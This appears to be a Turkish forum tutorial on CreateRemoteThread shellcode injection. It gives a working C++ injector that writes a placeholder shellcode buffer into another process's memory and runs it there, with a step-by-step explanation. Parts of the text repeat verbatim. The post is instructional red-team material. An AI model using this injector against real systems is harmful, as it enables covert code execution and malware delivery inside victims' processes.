Selamlar bugün C++ dilinde Shellcode Injection tekniğini anlatacağım.
Konuya geçelim.
Öncelikle kodun tamamını;
Konuya geçelim.
Öncelikle kodun tamamını;
C++:
#include "stdafx.h"
#include "Windows.h"
int main(int argc, char *argv[])
{
unsigned char shellcode[] =
"Shell Code";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
return 0;
}
Kodun Mantığı;
Hedef süreç açılır (OpenProcess)
Shellcode için hedef sürecin belleğinde alan ayrılır (VirtualAllocEx)
Shellcode hedef belleğe yazılır (WriteProcessMemory)
Hedef süreçte shellcode çalıştırılır (CreateRemoteThread)
Kodun ana mantığı aslında bu şekilde Shellcode hedef sürece yazıyoruz ve örn. PID değeri olarak notepad aldık örn. değer; 7733 değeri.
Shell Kodu "printf("Injecting to PID: %i", atoi(argv[1]));" bölümünde PID değerini aldığımız notepad uygulamasına veya başka bir uygulamaya "WriteProcessMemory" ile yazıyoruz.
Kodun ana mantığı bu şekildeydi daha detaylı incelemek isterseniz kaynakları aşağı bırakıyorum;
www.ired.team
Eksik veya hatalı gördüğünüz yerleri yazabilirsiniz iyi forumlar.
Hedef süreç açılır (OpenProcess)
Shellcode için hedef sürecin belleğinde alan ayrılır (VirtualAllocEx)
Shellcode hedef belleğe yazılır (WriteProcessMemory)
Hedef süreçte shellcode çalıştırılır (CreateRemoteThread)
Kodun ana mantığı aslında bu şekilde Shellcode hedef sürece yazıyoruz ve örn. PID değeri olarak notepad aldık örn. değer; 7733 değeri.
Shell Kodu "printf("Injecting to PID: %i", atoi(argv[1]));" bölümünde PID değerini aldığımız notepad uygulamasına veya başka bir uygulamaya "WriteProcessMemory" ile yazıyoruz.
Kodun ana mantığı bu şekildeydi daha detaylı incelemek isterseniz kaynakları aşağı bırakıyorum;
CreateRemoteThread Shellcode Injection | Red Team Notes
Injecting shellcode into a local process.
Eksik veya hatalı gördüğünüz yerleri yazabilirsiniz iyi forumlar.




